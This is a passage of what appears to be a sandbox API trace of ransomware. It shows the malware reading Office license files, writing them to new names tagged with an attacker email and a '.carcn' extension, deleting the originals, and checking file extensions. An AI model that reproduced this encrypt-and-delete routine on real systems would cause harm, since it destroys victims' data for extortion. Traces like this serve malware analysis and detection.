Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.371] lstrlenW (lpString=".jpg") returned 4 [0287.371] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.371] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.372] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30 [0287.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.373] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=22214) returned 1 [0287.373] CloseHandle (hObject=0x564) returned 1 [0287.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0287.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.373] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.428] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.431] GetLastError () returned 0x0 [0287.431] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x56c6, lpOverlapped=0x0) returned 1 [0287.457] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0287.459] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.459] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0287.459] SetEndOfFile (hFile=0x56c) returned 1 [0287.459] CloseHandle (hObject=0x56c) returned 1 [0287.459] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.459] SetEndOfFile (hFile=0x564) returned 1 [0287.462] CloseHandle (hObject=0x564) returned 1 [0287.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0287.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.464] lstrlenW (lpString=".doc") returned 4 [0287.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.464] lstrlenW (lpString=".docx") returned 5 [0287.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.464] lstrlenW (lpString=".pdf") returned 4 [0287.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.464] lstrlenW (lpString=".xls") returned 4 [0287.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.464] lstrlenW (lpString=".xlsx") returned 5 [0287.465] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.465] lstrlenW (lpString=".ppt") returned 4 [0287.465] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString=".zip") returned 4 [0287.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString=".rar") returned 4 [0287.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString=".bz2") returned 4 [0287.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString=".7z") returned 3 [0287.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString=".dbf") returned 4 [0287.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString=".1cd") returned 4 [0287.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString=".jpg") returned 4 [0287.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.465] lstrlenW (lpString=".doc") returned 4 [0287.465] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.465] lstrlenW (lpString=".docx") returned 5 [0287.466] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.466] lstrlenW (lpString=".pdf") returned 4 [0287.466] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString=".xls") returned 4 [0287.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString=".xlsx") returned 5 [0287.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.466] lstrlenW (lpString=".ppt") returned 4 [0287.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.466] lstrlenW (lpString=".zip") returned 4 [0287.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString=".rar") returned 4 [0287.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString=".bz2") returned 4 [0287.466] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString=".7z") returned 3 [0287.466] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.466] lstrlenW (lpString=".dbf") returned 4 [0287.466] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.466] lstrlenW (lpString=".1cd") returned 4 [0287.466] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0287.466] lstrlenW (lpString=".jpg") returned 4 [0287.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.467] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.467] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30 [0287.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.468] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11171) returned 1 [0287.468] CloseHandle (hObject=0x564) returned 1 [0287.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0287.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.469] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.469] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.470] GetLastError () returned 0x0 [0287.470] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0287.472] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0287.473] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.473] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0287.473] SetEndOfFile (hFile=0x56c) returned 1 [0287.473] CloseHandle (hObject=0x56c) returned 1 [0287.474] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.474] SetEndOfFile (hFile=0x564) returned 1 [0287.476] CloseHandle (hObject=0x564) returned 1 [0287.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0287.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.478] lstrlenW (lpString=".doc") returned 4 [0287.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.478] lstrlenW (lpString=".docx") returned 5 [0287.478] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.478] lstrlenW (lpString=".pdf") returned 4 [0287.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.478] lstrlenW (lpString=".xls") returned 4 [0287.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString=".xlsx") returned 5 [0287.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.479] lstrlenW (lpString=".ppt") returned 4 [0287.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.479] lstrlenW (lpString=".zip") returned 4 [0287.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString=".rar") returned 4 [0287.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString=".bz2") returned 4 [0287.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString=".7z") returned 3 [0287.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.479] lstrlenW (lpString=".dbf") returned 4 [0287.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.479] lstrlenW (lpString=".1cd") returned 4 [0287.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.479] lstrlenW (lpString=".jpg") returned 4 [0287.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.480] lstrlenW (lpString=".doc") returned 4 [0287.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".docx") returned 5 [0287.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.480] lstrlenW (lpString=".pdf") returned 4 [0287.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".xls") returned 4 [0287.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".xlsx") returned 5 [0287.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.480] lstrlenW (lpString=".ppt") returned 4 [0287.480] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.480] lstrlenW (lpString=".zip") returned 4 [0287.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".rar") returned 4 [0287.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".bz2") returned 4 [0287.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString=".7z") returned 3 [0287.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.480] lstrlenW (lpString=".dbf") returned 4 [0287.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.480] lstrlenW (lpString=".1cd") returned 4 [0287.481] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0287.481] lstrlenW (lpString=".jpg") returned 4 [0287.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.481] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.481] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31 [0287.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.482] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=22215) returned 1 [0287.482] CloseHandle (hObject=0x564) returned 1 [0287.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0287.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.483] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.483] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.484] GetLastError () returned 0x0 [0287.484] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x56c7, lpOverlapped=0x0) returned 1 [0287.775] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0287.777] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.777] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0287.777] SetEndOfFile (hFile=0x56c) returned 1 [0287.777] CloseHandle (hObject=0x56c) returned 1 [0287.777] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.777] SetEndOfFile (hFile=0x564) returned 1 [0287.780] CloseHandle (hObject=0x564) returned 1 [0287.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0287.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.782] lstrlenW (lpString=".doc") returned 4 [0287.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.782] lstrlenW (lpString=".docx") returned 5 [0287.782] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.782] lstrlenW (lpString=".pdf") returned 4 [0287.782] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.782] lstrlenW (lpString=".xls") returned 4 [0287.782] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString=".xlsx") returned 5 [0287.783] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.783] lstrlenW (lpString=".ppt") returned 4 [0287.783] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString=".zip") returned 4 [0287.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString=".rar") returned 4 [0287.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString=".bz2") returned 4 [0287.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString=".7z") returned 3 [0287.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString=".dbf") returned 4 [0287.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString=".1cd") returned 4 [0287.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString=".jpg") returned 4 [0287.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.783] lstrlenW (lpString=".doc") returned 4 [0287.783] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.783] lstrlenW (lpString=".docx") returned 5 [0287.784] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.784] lstrlenW (lpString=".pdf") returned 4 [0287.784] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString=".xls") returned 4 [0287.784] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString=".xlsx") returned 5 [0287.784] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.784] lstrlenW (lpString=".ppt") returned 4 [0287.784] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.784] lstrlenW (lpString=".zip") returned 4 [0287.784] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString=".rar") returned 4 [0287.784] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString=".bz2") returned 4 [0287.784] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString=".7z") returned 3 [0287.784] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 